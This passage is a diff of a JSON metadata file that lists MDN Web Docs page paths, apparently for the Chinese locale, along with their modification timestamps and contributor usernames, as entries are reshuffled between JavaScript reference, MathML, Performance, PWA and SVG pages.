"Web/JavaScript/Reference/Statements/continue": { + "modified": "2020-10-15T21:22:29.579Z", "contributors": [ - "LydiaYuan", - "xgqfrms" + "zhangchen", + "tiansh", + "teoli", + "sunorry" ] }, - "Web/JavaScript/Reference/Global_Objects/Float32Array": { - "modified": "2019-03-23T22:55:04.546Z", + "Web/JavaScript/Reference/Statements/debugger": { + "modified": "2020-10-15T21:19:13.851Z", "contributors": [ - "lsvih", - "luojia", - "AlixWang" + "zhangchen", + "yenshen", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Float64Array": { - "modified": "2019-03-23T22:27:51.833Z", + "Web/JavaScript/Reference/Statements/do...while": { + "modified": "2020-10-15T21:32:25.936Z", "contributors": [ - "lsvih" + "zhangchen", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Function": { - "modified": "2020-10-15T21:07:16.185Z", + "Web/JavaScript/Reference/Statements/export": { + "modified": "2020-10-31T21:18:02.310Z", "contributors": [ - "johnao", + "wenxiayili", + "panzhh", + "brizer", + "Casseil-1996", + "zhouxyy", + "symant233", + "Asuka109", + "hanalice", + "narutojian", + "ThisIszas", + "GentleGong", + "woniuxingdong", + "TeabugCC", + "yinpeng123", "RainSlide", - "Bjkb", - "xuyewen288", - "ywjco", - "Jiang-Xuan", + "xgqfrms", + "wossig", + "zarvin", + "TimmyKingFree", + "zhangchen", "xgqfrms-GitHub", - "Ende93", - "webery", - "FredWe", - "teoli", - "chbdetta", - "chyee", - "ziyunfei", - "iwo" + "Jiang-Xuan", + "Suixinlei", + "nolanlee", + "sartrey", + "jianyi1995" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/apply": { - "modified": "2020-10-15T21:21:35.017Z", + "Web/JavaScript/Reference/Statements/for": { + "modified": "2020-10-15T21:38:44.431Z", "contributors": [ - "leafwingstar", - "熊英明", - "zhanjunhao", - "wisecamle", + "RainSlide", + "yy7054wyq5", "zhangchen", - "Plortinus", - "MoYuLing", - "tangj1206", - "Humyang", - "Leivy", - "xgqfrms-GitHub", - "Ende93", - "JJPandari", - "hbkdsm", - "paddingme", - "onetree", - "AlexChao", - "ziyunfei", - "Nebu1aX", - "teoli", - "endlesswind" + "IShinji", + "yenshen", + "oscar1980", + "gaigeshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/arguments": { - "modified": "2019-08-06T06:43:10.243Z", + "Web/JavaScript/Reference/Statements/for-await...of": { + "modified": "2020-11-19T13:54:59.528Z", "contributors": [ - "omz-one", - "ziyunfei", - "WangXiZhu", - "teoli", - "AlexChao" + "xgqfrms", + "jingkaimori", + "AozakiOrenji", + "Ende93", + "SphinxKnight", + "mrdulin", + "WangXiaoyu", + "thereAnana" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/bind": { - "modified": "2020-10-15T21:07:21.219Z", + "Web/JavaScript/Reference/Statements/for...in": { + "modified": "2020-10-15T21:07:57.911Z", "contributors": [ - "xx1124961758", - "oxyg3n", - "lzfee0227", - "FeiJian984", - "TMM-eng", - "C2015", - "RainSlide", - "StuPig", - "williantian", - "hansnow", - "bananafishM", - "z1yuan", - "Arichy", - "Maiko", - "wisecamle", + "lmislm", + "毛毛_", + "name-dingding", + "raoenhui", + "412799755", + "Hourann", + "XiangHongAi", + "jiladahe1997", "zhangchen", - "zjffun", - "AllanJian", - "kuleyu", - "LiXin", - "baidufe.hc", - "yuwanlin", - "yangyh1911", - "gwiron", - "lclscofield", + "WPH2017", "xgqfrms-GitHub", - "zhengkai2001", - "Katherina-Miao", - "jyjsjd", - "Jiavan", - "riversYeHaha", - "xie-qianyue", - "sensui7", + "jdk137", + "yatace", + "helloguangxue", "Ende93", - "manfredHu", - "cqzhao", - "prawn", - "iplus26", + "wonyun", + "denghongcai", "teoli", - "paddingme", - "TooBug", - "SDLyu", - "bin", - "ziyunfei", - "stylechen" + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/call": { - "modified": "2020-10-15T21:07:14.576Z", + "Web/JavaScript/Reference/Statements/for...of": { + "modified": "2020-10-15T21:07:54.800Z", "contributors": [ - "Blackie", - "dcyu007", - "zzykillu", - "RainSlide", - "Maiko", - "Sally-he", - "whidy", + "sendudu", + "mouming", + "houzp", + "zgj233", + "osramywj", + "Joker09", "Jiang-Xuan", - "fanerge", - "voidzhou", + "charliex2", + "zhangchen", + "killsos", "xgqfrms-GitHub", - "micheal-death", - "windluo", - "azhi09", - "ChemiCoder", + "zhuangyin", + "yihuan", + "yanlee26", + "dingxu", + "lsvih", + "imnodb", "Ende93", - "teoli", - "AlexChao", - "ziyunfei" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/caller": { - "modified": "2019-08-06T03:21:58.429Z", - "contributors": [ + "iamchenxin", "teoli", "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/displayName": { - "modified": "2019-05-15T23:11:48.055Z", + "Web/JavaScript/Reference/Statements/function": { + "modified": "2020-12-02T02:36:07.313Z", "contributors": [ - "liuchuzhang", - "lilng", + "zhuangyin", + "frankfang1990", + "maicss", + "xgqfrms-GitHub", + "helloguangxue", + "yenshen", "teoli", - "minstrel1977", - "webery" + "ielgnaw" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/length": { - "modified": "2020-10-15T21:02:07.304Z", + "Web/JavaScript/Reference/Statements/function*": { + "modified": "2020-10-15T21:27:24.673Z", "contributors": [ - "zhangchen", - "gqbre", - "chudu", - "Ende93", - "guosimin", - "yenshen", - "teoli", + "HCSkatana", + "kingsley2036", + "RoXoM", + "Jiang-Xuan", + "ywjco", + "picc-lu", + "pot-code", + "righttoe", + "kdex", + "xgqfrms-GitHub", + "ShupingLiu", + "lunix01", + "simongfxu", "ziyunfei", - "tiansh" + "fskuok", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/name": { - "modified": "2020-10-15T21:02:08.194Z", + "Web/JavaScript/Reference/Statements/if...else": { + "modified": "2020-10-15T21:32:24.204Z", "contributors": [ + "maoyumaoxun", "zhangchen", - "inickel", - "minstrel1977", - "xgqfrms-GitHub", - "Marco_dev", - "teoli", - "ziyunfei" + "jjc", + "TimmyKingFree", + "Hugh", + "connie77", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/prototype": { - "modified": "2019-09-11T09:25:06.080Z", + "Web/JavaScript/Reference/Statements/import": { + "modified": "2020-10-15T21:36:46.597Z", "contributors": [ + "SunnyDayLily", + "laampui", + "brizer", + "TeabugCC", + "RainSlide", + "daihaoxin", + "jason-grimm", + "jjyyxx", "Ende93", - "FrankElean", - "xiaowtz", - "DevinHe", - "teoli", + "zhangchen", + "xgqfrms-GitHub", + "xiaomingming", + "Jiang-Xuan", + "houbx", + "taokd", + "Skyang", + "larntin", + "bambooom", "ziyunfei", - "Oatn" + "wengeezhang", + "sartrey", + "WangZishi" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/toSource": { - "modified": "2019-03-23T23:36:01.366Z", + "Web/JavaScript/Reference/Statements/import.meta": { + "modified": "2020-10-15T22:07:59.455Z", "contributors": [ - "teoli", - "ziyunfei" + "gitHber", + "JonathanLee-LX" ] }, - "Web/JavaScript/Reference/Global_Objects/Function/toString": { - "modified": "2020-10-15T21:21:30.188Z", + "Web/JavaScript/Reference/Statements/label": { + "modified": "2020-10-15T21:31:44.464Z", "contributors": [ + "xgqfrms", + "RainSlide", "zhangchen", - "Maiko", - "xmoyKing", - "laampui", - "AlexChao", - "ziyunfei", - "teoli" + "delkaka", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/Generator": { - "modified": "2020-10-15T21:34:46.129Z", + "Web/JavaScript/Reference/Statements/let": { + "modified": "2020-10-15T21:07:01.000Z", "contributors": [ + "Snailight", + "卡尔维斯特", + "JameMoriarty", + "yangnaiyue", + "Zhang-Junzhi", + "wongxiao", "Ende93", - "xgqfrms", - "xuxiaokang", - "kdex", + "jzz2649", + "SphinxKnight", + "Lan1967", + "Freezer", + "alexzaolin", + "JunjieCai", + "ilyp", + "ssttii", + "jcguang", + "mathxlee", + "ywjco", + "zhangchen", + "yingying", + "frankfang1990", + "swfbarhr", "xgqfrms-GitHub", - "Yelmor", - "lanezhao", + "mr.code", + "artificial", + "leafdog", + "yangzongjie", + "ZhiRui", + "ZhanghaoH", + "ChuckZhang", + "Go7hic", + "highsea", "panhezeng", + "kemchenj", + "lunix01", + "dondevi", + "hang", + "Rococolate", + "ouonet", "ziyunfei", - "Javascipt", - "lukywong", - "jpmedley" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Generator/next": { - "modified": "2019-08-17T06:59:14.528Z", - "contributors": [ - "Yayure", - "miyoosan", - "ywjco", - "Ende93", - "lukywong", - "jcouyang" + "WangZishi", + "Junjie_Wei", + "teoli", + "nightire", + "ted423" ] }, - "Web/JavaScript/Reference/Global_Objects/Generator/return": { - "modified": "2020-10-15T21:37:31.281Z", + "Web/JavaScript/Reference/Statements/return": { + "modified": "2020-10-15T21:32:16.829Z", "contributors": [ - "SevenDreamYang", + "xianshenglu", + "zhangchen", "Ende93", - "ljxy", - "lukywong" + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/Generator/throw": { - "modified": "2019-08-12T05:52:42.406Z", + "Web/JavaScript/Reference/Statements/switch": { + "modified": "2020-10-15T21:31:42.513Z", "contributors": [ - "Ende93", - "lukywong" + "rianma", + "jfw10973", + "RainSlide", + "ywjco", + "zhangchen", + "PaperFlu", + "FAOfao931013", + "xgqfrms-GitHub", + "AlexChao", + "xin" ] }, - "Web/JavaScript/Reference/Global_Objects/GeneratorFunction": { - "modified": "2020-10-15T21:39:23.129Z", + "Web/JavaScript/Reference/Statements/throw": { + "modified": "2020-10-15T21:17:26.144Z", "contributors": [ - "fscholz", + "koalaxiaot", "zhangchen", - "lanezhao", - "webery", - "Cendy" + "xgqfrms-GitHub", + "fanpaa", + "soulxy", + "onetwogoo", + "iFish", + "teoli", + "Mickeyboy" ] }, - "Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype": { - "modified": "2020-10-15T21:40:51.679Z", + "Web/JavaScript/Reference/Statements/try...catch": { + "modified": "2020-10-15T21:35:35.752Z", "contributors": [ - "fscholz", - "shinexyt", "zhangchen", - "webery" + "Lan1967", + "cddsgtc", + "Xheldon", + "gooqiao", + "llwanghong", + "YouHeng", + "xgqfrms-GitHub", + "Hugh", + "helloguangxue", + "TUKOMI", + "ziyunfei", + "licop" ] }, - "Web/JavaScript/Reference/Global_Objects/Infinity": { - "modified": "2020-10-19T00:56:56.707Z", + "Web/JavaScript/Reference/Statements/var": { + "modified": "2020-10-15T21:29:22.023Z", "contributors": [ - "DarkWing", - "lizhongzhen11", - "wallena3", - "Jiang-Xuan", - "yenshen", - "tiansh", + "FloydTsai", + "RainSlide", + "zhangchen", + "AymaxLi", + "xgqfrms-GitHub", + "The-End-Hero", + "loddit", + "lunix01", + "AlexChao", "SphinxKnight", - "AlexChao" + "Fify" ] }, - "Web/JavaScript/Reference/Global_Objects/Int16Array": { - "modified": "2019-03-23T22:35:54.313Z", + "Web/JavaScript/Reference/Statements/while": { + "modified": "2020-10-15T21:31:43.063Z", "contributors": [ - "kdex", - "zilong-thu" + "RainSlide", + "zhangchen", + "ziyunfei", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/Int32Array": { - "modified": "2019-06-02T03:31:50.287Z", + "Web/JavaScript/Reference/Statements/with": { + "modified": "2020-10-15T21:29:35.662Z", "contributors": [ - "wuqinqiang", - "xclhs", - "langjun" + "SadWood", + "yangtoude", + "zhangchen", + "abc45628", + "xgqfrms-GitHub", + "kiling", + "wizardforcel", + "YFM-getA", + "jonkee", + "SphinxKnight", + "front" ] }, - "Web/JavaScript/Reference/Global_Objects/Int8Array": { - "modified": "2019-03-18T20:48:04.246Z", + "Web/JavaScript/Reference/Strict_mode": { + "modified": "2020-03-12T19:35:37.779Z", "contributors": [ + "xrkffgg", + "gaoyia", + "qiufeihong2018", + "Opelar", + "hmsz", + "amandameng", + "zhangchen", + "recursion", + "JuFoFu", + "qiu_han", + "tsejx", + "righttoe", "xgqfrms-GitHub", - "ObooChin" + "holynewbie", + "nanflower", + "weimengxi", + "xuzicn", + "Qcui", + "Toweave", + "zilong-thu", + "anitawho", + "laoxubuer", + "knightf", + "Jack.Works", + "Dijason", + "ziyunfei", + "yaway", + "iahu", + "mountainmoon", + "Frantic1048", + "Darrel.Hsu", + "ReyCG", + "teoli", + "endlesswind" ] }, - "Web/JavaScript/Reference/Global_Objects/InternalError": { - "modified": "2019-03-23T22:32:14.689Z", + "Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode": { + "modified": "2020-03-12T19:38:14.564Z", "contributors": [ - "teoli", - "maicss", - "Jack-Q" + "vincentdd", + "weimengxi", + "gavinjs", + "zjjott", + "ziyunfei", + "yenshen", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl": { - "modified": "2020-10-15T21:41:37.430Z", + "Web/JavaScript/Reference/Trailing_commas": { + "modified": "2020-10-15T21:52:12.920Z", "contributors": [ "RainSlide", "zhangchen", - "teabyii" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/Collator": { - "modified": "2020-10-15T21:52:01.061Z", - "contributors": [ - "fscholz", - "hiyangguo" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat": { - "modified": "2020-04-21T09:01:11.408Z", - "contributors": [ - "fscholz", - "TianchiLi", - "zxsunrise", - "liyongleihf2006" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype": { - "modified": "2020-04-21T09:01:11.304Z", + "Web/JavaScript/Shells": { + "modified": "2020-09-04T03:12:55.502Z", "contributors": [ - "fscholz", - "liyongleihf2006" + "a1157116165", + "StorytellerF", + "pluwen", + "sonymoon", + "pelligit", + "maicss" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames": { - "modified": "2020-04-21T09:19:23.285Z", + "Web/JavaScript/Typed_arrays": { + "modified": "2020-10-15T21:26:17.964Z", "contributors": [ - "fscholz", - "hulucode" + "norton-lee", + "ThomasWhyne", + "nkliyc", + "AngeloZ", + "zhangchen", + "wblovezqy", + "jing-y", + "lvsiyuan", + "xgqfrms-GitHub", + "JoyZF", + "jianzhou", + "lon", + "ngtmuzi", + "Amme", + "troywith77", + "ipy", + "teoli", + "zekai.zheng" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/ListFormat": { - "modified": "2020-10-15T22:16:21.221Z", + "Web/Manifest": { + "modified": "2019-10-29T05:08:14.882Z", "contributors": [ - "fscholz", - "Spengh" + "7NZ", + "mySoul", + "flyingsouthwind", + "varcat", + "_da", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/Locale": { - "modified": "2020-10-15T22:19:16.260Z", + "Web/Manifest/background_color": { + "modified": "2020-10-15T22:31:53.672Z", "contributors": [ - "weibangtuo", - "fscholz", - "shuvidora", - "lovedebug" + "wobuhuisuanmin", + "wr20060926" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat": { - "modified": "2020-10-15T21:50:51.219Z", + "Web/MathML": { + "modified": "2020-10-15T21:25:04.339Z", "contributors": [ - "fscholz", - "RoXoM", - "Sivan", - "lisniuse", - "liyongleihf2006" + "RainSlide", + "Anonymous86x69ashe", + "pluwen", + "linmx0130", + "lunix01", + "fred.wang", + "fscholz" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/format": { - "modified": "2020-10-15T22:04:10.022Z", + "Web/MathML/Attribute": { + "modified": "2019-03-23T22:52:18.616Z", "contributors": [ - "fscholz", - "zxsunrise", - "Evansy" + "luneice", + "FredWe" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/PluralRules": { - "modified": "2020-10-15T22:05:26.837Z", + "Web/MathML/Authoring": { + "modified": "2019-10-27T00:08:11.337Z", "contributors": [ - "fscholz", - "JimmyBenKlieve", - "DeanNode" + "RainSlide", + "fanxiaojie", + "FredWe" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat": { - "modified": "2020-10-15T22:21:27.890Z", + "Web/MathML/Element": { + "modified": "2020-03-31T12:28:08.721Z", "contributors": [ - "SandBoat", - "Mongkii", - "fscholz", - "AchooLuv", - "xrr2016", - "SphinxKnight", - "qiufeihong2018" + "RainSlide", + "qson", + "ziyunfei", + "a.stone" ] }, - "Web/JavaScript/Reference/Global_Objects/Intl/getCanonicalLocales": { - "modified": "2020-10-15T22:09:15.623Z", + "Web/MathML/Element/maction": { + "modified": "2019-03-18T21:42:16.631Z", "contributors": [ - "pea3nut" + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/JSON": { - "modified": "2020-10-15T21:06:55.773Z", + "Web/MathML/Element/math": { + "modified": "2019-03-23T22:48:38.735Z", "contributors": [ - "recursion", - "renfufei", - "codevvvv9", - "zhangchen", - "luojia", - "righttoe", - "xgqfrms-GitHub", - "Freed", - "huguangju", - "liyongleihf2006", - "Ende93", - "yenshen", - "teoli", - "Yaty", - "fscholz", - "AlexChao", - "Wladimir_Palant", - "ziyunfei" + "linmx0130" ] }, - "Web/JavaScript/Reference/Global_Objects/JSON/parse": { - "modified": "2020-10-15T21:28:05.508Z", + "Web/MathML/Element/mroot": { + "modified": "2019-03-18T21:42:14.503Z", "contributors": [ - "hikigaya58", - "RainSlide", - "renfufei", - "zhuangyin", - "mySoul", - "rambo-panda", - "zhaoqize", - "DejectedBird", - "ZDeborah", - "xgqfrms-GitHub", - "zhoupenghui", - "frankfang1990", - "LiYang982", - "sszsfan", - "xgqfrms", - "TomIsion", - "qiao4", - "Ende93", - "yenshen", - "Yaty", - "ziyunfei", - "AlexChao" + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/JSON/stringify": { - "modified": "2020-10-27T03:21:45.041Z", + "Web/MathML/Element/mrow": { + "modified": "2020-10-15T22:25:33.815Z", "contributors": [ - "anan824", - "JaCoder", - "zhangchen", - "Ocean-ZH", - "huxinsen", - "fwmh", - "szengtal", - "superfighter", - "zhaoqize", - "Demo_Hu", - "xgqfrms-GitHub", - "xiuzhihuan", - "leouncle", - "zhoupenghui", - "LiYang982", - "zachary05", - "ziyunfei", - "byr-gdp", - "paddingme", - "AlexChao", - "teoli", - "Lovesueee" + "RainSlide" ] }, - "Web/JavaScript/Reference/Global_Objects/Map": { - "modified": "2020-10-15T21:06:49.701Z", + "Web/MathML/Element/mspace": { + "modified": "2019-03-18T21:42:15.461Z", "contributors": [ - "laampui", - "wallena3", - "KaySama", - "Turner", - "YaoZeyuan", - "Mr_Big", - "maoyumaoxun", - "hong007", - "zhangchen", - "Amio", - "tsejx", - "thegatheringstorm", - "buckarooch", - "xgqfrms-GitHub", - "kameii", - "Cattla", - "huguangju", - "YangyuhaoBit", - "luneice", - "git123hub", - "Ende93", - "sqqihao", - "fskuok", - "teoli", - "ziyunfei", - "zhangyaochun1987" + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/@@iterator": { - "modified": "2020-10-15T21:56:27.573Z", + "Web/MathML/Element/msqrt": { + "modified": "2019-03-18T21:42:14.783Z", "contributors": [ - "Ende93", - "DuLinRain" + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/@@species": { - "modified": "2020-10-15T21:57:35.566Z", + "Web/MathML/Element/msub": { + "modified": "2019-03-18T21:42:15.091Z", "contributors": [ - "vanishcode" + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag": { - "modified": "2019-04-05T14:04:42.613Z", + "Web/MathML/Element/msubsup": { + "modified": "2020-10-15T22:28:42.346Z", "contributors": [ - "DuLinRain" + "RainSlide" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/Map": { - "modified": "2020-10-15T22:29:02.199Z", + "Web/MathML/Element/msup": { + "modified": "2020-10-15T22:01:09.939Z", "contributors": [ - "laampui" + "RainSlide", + "LiuYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/clear": { - "modified": "2020-10-15T21:41:32.043Z", + "Web/MathML/Examples": { + "modified": "2019-10-26T23:25:14.524Z", "contributors": [ - "zhangchen", - "SphinxKnight", - "HsuanLee", - "youth7" + "RainSlide", + "Anonymous86x69ashe", + "Seattle", + "abc3660170", + "FredWe" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/delete": { - "modified": "2020-10-15T21:46:05.144Z", + "Web/MathML/Examples/Deriving_the_Quadratic_Formula": { + "modified": "2019-10-27T00:00:27.008Z", "contributors": [ - "zhangchen", - "royl8", - "Hushabyme", - "webery" + "RainSlide", + "luneice" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/entries": { - "modified": "2020-10-15T21:39:28.129Z", + "Web/MathML/Examples/MathML_Pythagorean_Theorem": { + "modified": "2019-10-26T23:28:44.470Z", "contributors": [ - "Louis-7", - "SphinxKnight", - "ngtmuzi", - "HsuanLee", - "Zhiyu_Wang" + "RainSlide", + "Anonymous86x69ashe", + "Seattle" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/forEach": { - "modified": "2020-10-15T21:39:26.824Z", + "Web/Media/Formats": { + "modified": "2019-10-28T06:26:59.997Z", "contributors": [ - "Mr_kaze", - "niices", - "liu7654", - "SimonYang", - "SphinxKnight", - "ziyunfei", - "Zhiyu_Wang" + "jswisher" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/get": { - "modified": "2020-10-15T21:39:27.794Z", + "Web/Media/Formats/Containers": { + "modified": "2020-11-01T10:00:22.590Z", "contributors": [ - "RainSlide", - "SphinxKnight", - "ziyunfei", - "Zhiyu_Wang" + "happyxxj" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/has": { - "modified": "2019-10-04T10:03:31.075Z", + "Web/Media/Formats/Image_types": { + "modified": "2020-10-28T06:58:07.754Z", "contributors": [ - "Cyberhan123", - "SphinxKnight", - "DirtyPP" + "hylashyla", + "RainSlide" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/keys": { - "modified": "2020-10-15T21:48:38.432Z", + "Web/Performance": { + "modified": "2020-07-21T05:10:44.104Z", "contributors": [ - "Davidyanlong", + "lvbaiying", + "FE_pangxing", + "biqing", "RainSlide", - "zachary05" + "maoyougan", + "sqd123", + "chrisdavidmills", + "iceytea" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/prototype": { - "modified": "2019-12-28T23:13:19.788Z", + "Web/Performance/CSS_JavaScript_animation_performance": { + "modified": "2020-07-29T00:36:34.087Z", "contributors": [ - "wallena3", - "YaoZeyuan", - "kameii", - "chaosdog", - "webery" + "deping_chen", + "sunfeel", + "liangbus" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/set": { - "modified": "2020-10-15T21:48:37.587Z", + "Web/Performance/Critical_rendering_path": { + "modified": "2020-10-13T09:41:03.369Z", "contributors": [ - "CascEco", - "ts0307", - "RainSlide", - "MaZheng", - "Hushabyme", - "zachary05" + "xgqfrms", + "HouGiser", + "HuiyingShen96", + "chafel" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/size": { - "modified": "2019-09-06T04:35:48.843Z", + "Web/Performance/Lazy_loading": { + "modified": "2020-10-13T09:10:51.078Z", "contributors": [ - "boyue", - "wenshin" + "xgqfrms" ] }, - "Web/JavaScript/Reference/Global_Objects/Map/values": { - "modified": "2019-10-04T09:57:38.527Z", + "Web/Performance/Optimizing_startup_performance": { + "modified": "2019-03-23T22:00:17.334Z", "contributors": [ - "killsos", - "mingzhaov" + "chrisdavidmills", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math": { - "modified": "2020-10-15T21:21:09.889Z", + "Web/Performance/Rum-vs-Synthetic": { + "modified": "2020-10-13T09:51:23.567Z", "contributors": [ - "RainSlide", - "Zhenger", - "tzmf", - "levinweb", - "xzmshiji", - "LiXin", - "xgqfrms-GitHub", - "Ende93", - "lwxyfer", - "FredWe", - "yenshen", - "baiya", - "AlexChao", - "teoli", - "ziyunfei" + "xgqfrms" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/E": { - "modified": "2019-03-23T23:12:59.627Z", + "Web/Performance/dns-prefetch": { + "modified": "2020-10-13T10:51:56.349Z", "contributors": [ - "AlexChao" + "xgqfrms", + "chrisdavidmills", + "caoweiju" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/LN10": { - "modified": "2019-03-23T22:26:33.778Z", + "Web/Progressive_web_apps": { + "modified": "2020-03-14T09:56:33.733Z", "contributors": [ - "AlexChao" + "Miahui", + "kkocdko", + "chrisdavidmills", + "sijimi", + "xgqfrms-GitHub", + "xgqfrms" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/LN2": { - "modified": "2019-03-23T23:12:59.485Z", + "Web/Progressive_web_apps/App_structure": { + "modified": "2020-05-31T18:38:01.454Z", "contributors": [ - "AlexChao" + "jin_wang", + "Miahui", + "xiao11lang", + "Mosan", + "githubxiaominge", + "liminjun", + "zjffun", + "alfred_chao95", + "chrisdavidmills", + "eightHundreds" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/LOG10E": { - "modified": "2019-03-23T23:12:57.229Z", + "Web/Progressive_web_apps/Installable_PWAs": { + "modified": "2020-08-03T23:25:28.976Z", "contributors": [ - "AlexChao" + "SDUTWSL", + "nurob", + "Dht", + "Miahui", + "HDUCC", + "deping_chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/LOG2E": { - "modified": "2019-03-23T23:12:57.389Z", + "Web/Progressive_web_apps/Introduction": { + "modified": "2019-08-21T09:58:46.102Z", "contributors": [ - "AlexChao" + "jackupdown", + "zjffun", + "chrisdavidmills", + "eightHundreds", + "yijie_sun" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/PI": { - "modified": "2019-10-10T16:56:22.011Z", + "Web/Progressive_web_apps/Offline_Service_workers": { + "modified": "2020-07-02T16:41:37.440Z", "contributors": [ - "helloguangxue", - "yenshen", - "AlexChao" + "showad", + "nurob", + "githubxiaominge", + "zjffun" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2": { - "modified": "2019-03-23T23:12:56.404Z", + "Web/Progressive_web_apps/Re-engageable_Notifications_Push": { + "modified": "2020-05-31T18:38:17.693Z", "contributors": [ - "AlexChao" + "nurob", + "githubxiaominge" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/SQRT2": { - "modified": "2019-03-23T23:34:50.958Z", + "Web/Progressive_web_apps/Responsive/responsive_design_building_blocks": { + "modified": "2020-11-17T04:04:41.165Z", "contributors": [ - "AlexChao", - "teoli", - "ziyunfei" + "DingGuangbo" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/abs": { - "modified": "2019-04-05T14:44:14.817Z", + "Web/Reference": { + "modified": "2019-03-18T21:10:51.690Z", "contributors": [ - "FlowingRiver", - "tiansh", - "AlexChao", - "teoli", - "ndon" + "SphinxKnight", + "acuptea", + "rguanghui", + "huasheng", + "yangchengjian", + "liuwentianwtu", + "jack7758", + "ValkyrieLawliet", + "ZhangKaiqiang", + "colin-zhou", + "ziyunfei", + "Sheppy" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/acos": { - "modified": "2019-04-05T14:44:29.427Z", + "Web/Reference/API": { + "modified": "2020-02-06T00:29:14.463Z", "contributors": [ - "AlexChao" + "RainSlide", + "yongxiaodu", + "micblo", + "kevinfszu", + "yfdyh000", + "zmh_w", + "tangxiaobaobao", + "ziyunfei", + "noscripter", + "hutuxu" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/asin": { - "modified": "2019-08-17T06:23:48.692Z", + "Web/SVG": { + "modified": "2020-05-25T07:08:22.112Z", "contributors": [ - "AlexChao" + "Adrian-Yan", + "RainSlide", + "pluwen", + "LalaChu", + "simongfxu", + "fanxiaojie", + "Metalooze", + "lunix01", + "charlie", + "johncido", + "cuixiping", + "huguowei", + "teoli", + "xcffl", + "LIXer" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/asinh": { - "modified": "2020-10-15T22:29:13.098Z", + "Web/SVG/Applying_SVG_effects_to_HTML_content": { + "modified": "2020-10-21T05:14:10.197Z", "contributors": [ - "vampire624" + "Chellyyy", + "Kylexii", + "almond", + "AaronYehf", + "swingcat", + "SphinxKnight", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/atan": { - "modified": "2019-03-23T23:12:33.623Z", + "Web/SVG/Attribute": { + "modified": "2020-06-11T11:15:23.661Z", "contributors": [ - "AlexChao" + "chanvin", + "RainSlide", + "fanxiaojie", + "slientomorrr", + "stevenvachon" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/atan2": { - "modified": "2019-10-29T04:38:29.778Z", + "Web/SVG/Attribute/From": { + "modified": "2019-03-23T22:07:46.163Z", "contributors": [ - "412799755", - "AlexChao" + "876843240" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/atanh": { - "modified": "2019-03-23T22:30:24.385Z", + "Web/SVG/Attribute/Presentation": { + "modified": "2020-10-15T22:23:08.667Z", "contributors": [ - "timqian92" + "gogoend" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/cbrt": { - "modified": "2019-11-08T10:40:00.500Z", + "Web/SVG/Attribute/accent-height": { + "modified": "2019-07-05T08:35:14.107Z", "contributors": [ - "hellorayza", - "hhxxhg", - "SphinxKnight", - "wangyukai04", - "teoli", - "ziyunfei" + "yvonneit" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/ceil": { - "modified": "2020-10-15T21:28:51.015Z", + "Web/SVG/Attribute/accumulate": { + "modified": "2019-03-23T22:32:55.125Z", "contributors": [ - "RainSlide", - "xgqfrms-GitHub", - "AlexChao" + "fanxiaojie" ] }, - 